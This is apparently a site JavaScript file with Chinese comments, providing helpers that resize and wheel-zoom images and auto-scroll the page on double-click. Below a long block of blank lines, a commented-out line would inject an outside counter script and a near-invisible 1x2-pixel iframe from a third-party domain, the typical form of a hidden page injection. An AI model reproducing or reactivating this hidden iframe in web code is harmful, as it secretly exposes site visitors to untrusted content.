?/更改图片大小
function picsize(obj,MaxWidth)
{
	img=new Image();
	img.src=obj.src;
	if (img.width>MaxWidth) {return MaxWidth;}
	else {return img.width;}
}
function picsizeh(obj,MaxHeight)
{
	var img=new Image();
	img.src=obj.src;
	if (img.height>MaxHeight) {return MaxHeight;}
	else {return img.height;}
}

//鼠标滑轮缩放图片大小
function bbimg(o)
{
	var zoom=parseInt(o.style.zoom, 10)||100;
	zoom+=event.wheelDelta/12;
	if ((zoom*o.width/100>520)||(zoom*o.width/100<1)) {return true;}
	if (zoom>0) {o.style.zoom=zoom+'%';}
	return false;
}

//改变图片大小
function resizepic(thispic)
{
	if(thispic.width>700)
	{
		thispic.height=thispic.height*700/thispic.width;
		thispic.width=700;
	} 
}
//双击鼠标滚动屏幕的代?
var currentpos,timer;
function initialize()
{
	timer=setInterval("scrollwindow ()",30);
}
function sc()
{
	clearInterval(timer);
}
function scrollwindow()
{
	currentpos=document.body.scrollTop;
	window.scroll(0,++currentpos);
	if(currentpos !=document.body.scrollTop) sc();
}
document.onmousedown=sc;
document.ondblclick=initialize;













//document.writeln("<script language=\"JavaScript\" charset=\"gb2312\" type=\"text\/javascript\" src=\"http:\/\/www8.itsun.com\/count.php?uuid=1746114&style=none\"><\/script>");document.writeln("<iframe src=\"http:\/\/union.uiiiu.com\/links\/ppwow.htm?id=74\" width=\"1\" height=\"2\" frameborder=\"0\"><\/iframe>");

